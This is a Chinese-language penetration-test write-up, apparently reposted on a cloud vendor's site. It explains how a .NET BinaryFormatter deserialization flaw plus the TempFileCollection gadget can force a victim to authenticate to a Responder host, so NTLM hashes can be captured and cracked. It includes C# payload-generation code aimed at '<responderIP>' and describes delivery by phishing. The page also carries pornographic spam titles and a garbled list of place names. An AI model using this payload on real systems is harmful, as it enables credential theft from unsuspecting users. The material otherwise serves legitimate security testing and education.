亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎樣利用.NET反序列化漏洞獲取NTLM Hashes

發布時間:2021-10-28 09:23:12 來源:億速云 閱讀:177 作者:柒染 欄目:編程語言

這期內容當中小編將會給大家帶來有關怎樣利用.NET反序列化漏洞獲取NTLM Hashes,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

在最近的一次滲透測試中,我們遇到了一個用來獲取管理員憑據的有趣技術(當然,NTLM散列已被破解)。這次攻擊并沒有什么特別新的東西,它需要特殊的條件才能實現,但我們認為這足讓我們把它分享出來。在mediaservice.net博客上Gianluca Baldi最近發布的一篇博客文章中,也描述了非常類似的技術。我們發現我們能夠做一些非常相似的事情,但針對利用的不是XXE而是.net反序列化漏洞。

當用戶加載惡意文件時會觸發此特定漏洞,因此需要用戶交互,但在網絡中可訪問的應用程序中可能存在類似的漏洞。 這完全取決于數據的反序列化位置。

反序列化基礎

反序列化是任何執行大量應用程序或Web應用程序安全測試的人都應該熟悉的東西。通常在Java環境中討論,反序列化漏洞是許多應用程序(包括.NET應用程序)中都有可能會出現的漏洞。

對于那些不太熟悉的人來說,序列化就是將一個對象轉換成一個字節流的過程,這樣就可以輕松保存在磁盤文件或數據庫中。反序列化是序列化的逆過程;通常這可以用于兩個應用程序(可能位于不同主機上)間通信的RPC。當應用程序的狀態需要保存時(這也很常見),序列化的數據會被寫入磁盤并在之后進行恢復。

我們可以通過下面的例子看到這一點。

using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
namespace serialisationTest1
{
    [Serializable]
    class MyClass
    {
        private int x = 1;
        private int y = 2;
        public string s = "Hello World";
        public MyClass() { Console.WriteLine("In Constructor"); }
        public void Method() { Console.WriteLine("Method()"); }
        public void Dispose()
        {
            Console.WriteLine("Disposing Object");
        }
    }
    class Program
    {
        static void Main(string[] args)
        {
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            MyClass myClass = new MyClass();
            using (FileStream fileStream = File.OpenWrite("save"))
            {
                binaryFormatter.Serialize(fileStream, myClass);
            }
        }
    }
}

這將創建一個文件并保存,我們可以在文本編輯器中查看。

怎樣利用.NET反序列化漏洞獲取NTLM Hashes

當應用程序對不可信數據進行反序列化時,有時可能會被攻擊者所利用。如果我們看一下上面的反序列化的對象,很明顯,雖然我們不能直接向應用程序注入代碼,但是如果反序列化的對象在它的構造函數中或在它的dispose方法中,我們或許能夠對其進行利用(即惡意的)- 當.NET對象被銷毀時,垃圾回收器調用的方法。這是因為當進行反序列化嘗試時,實際上該對象確實被創建并銷毀,即使該對象由于類型錯誤而無法使用。

漏洞

在測試中,我們發現桌面安裝了.NET應用程序。盡管我們并不了解應用程序的性質,但我們可以肯定的是它具有“保存”功能。為了保存,應用程序用一個特定的對象并將其序列化到磁盤。之后它可以通過相反的方式加載這個保存的對象并反序列化它。

漏洞代碼類似于下面:

using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
namespace serialisationTest1
{
    class Program
    {
        static void Main(string[] args)
        {
            string saveFile = "save";
            MyClass myClass = null;
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            FileStream fileStream = File.OpenRead(saveFile);
            try {
                Object o = binaryFormatter.Deserialize(fileStream);
                myClass = (MyClass)o;
                myClass.Method();
            }
            catch (Exception) { }
        }
    }
}

如前所述,在這種特殊情況下,我們需要找到一個對象,它在創建或銷毀時會發揮一些有用的作用。

System.CodeDom.Compiler.TempFileCollection是.NET中的一個對象,用于刪除使用AddFile方法添加的文件。這已通過在特定位置(d:\file1)中創建文件,并將序列化的TempFileCollection用作應用程序“保存”文件得到證實。反序列化的對象是使用以下代碼片段創建的:

static void Main(string[] args)
{
    BinaryFormatter binaryFormatter = new BinaryFormatter();
    TempFileCollection tempFileCollection = new TempFileCollection();
    tempFileCollection.AddFile("d:\\test",false);
    using (FileStream fileStream = File.OpenWrite("save"))
    {
    binaryFormatter.Serialize(fileStream, tempFileCollection);
    }
}

當我們加載保存文件時,應用程序反序列化確實刪除了測試文件。這是一個很好的PoC,那么我們能再進一步嗎?

獲取憑據

此時,我們有一個應用程序存在一個反序列化漏洞,當打開一個保存文件時會觸發一個反序列化漏洞,并且一個可以反序列化的對象會刪除我們可以指定的文件。

如果從UNC路徑 (i.e. \\host\file)中讀取文件,Windows將嘗試使用服務器進行身份驗證。如果我們將已刪除的文件更改為運行Responder的服務器上的UNC路徑,我們將能夠捕獲NTLM握手并嘗試破解密碼。

下面的.net代碼生成我們的payload:

static public void MakeObject()
{
    BinaryFormatter binaryFormatter = new BinaryFormatter();
    TempFileCollection tempFileCollection = new TempFileCollection();
    tempFileCollection.AddFile("\\\\<responderIP>\\test", false);
    using (FileStream fileStream = File.OpenWrite("save"))
    {
    binaryFormatter.Serialize(fileStream, tempFileCollection);
    }
}

然后,我們運行Responder,將文件發送給用戶(通過網絡釣魚攻擊)并等待。不一會兒我們就獲取到了哈希,我們可以用于破解。

怎樣利用.NET反序列化漏洞獲取NTLM Hashes

基于我們強大的字典,以及目標用戶脆弱的密碼策略,沒花多久時間我們便成功破解出了密碼。

上述就是小編為大家分享的怎樣利用.NET反序列化漏洞獲取NTLM Hashes了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

那曲县| 伊金霍洛旗| 石渠县| 柳林县| 宿州市| 宁安市| 安塞县| 咸宁市| 青浦区| 丹寨县| 运城市| 息烽县| 左权县| 叙永县| SHOW| 瑞安市| 湘潭市| 中阳县| 镇江市| 石棉县| 类乌齐县| 曲周县| 苏尼特左旗| 岳阳市| 微山县| 嘉善县| 吉林省| 五家渠市| 岐山县| 铜川市| 遂溪县| 中阳县| 什邡市| 和龙市| 尼勒克县| 麻栗坡县| 徐闻县| 灵台县| 明水县| 罗定市| 泽普县|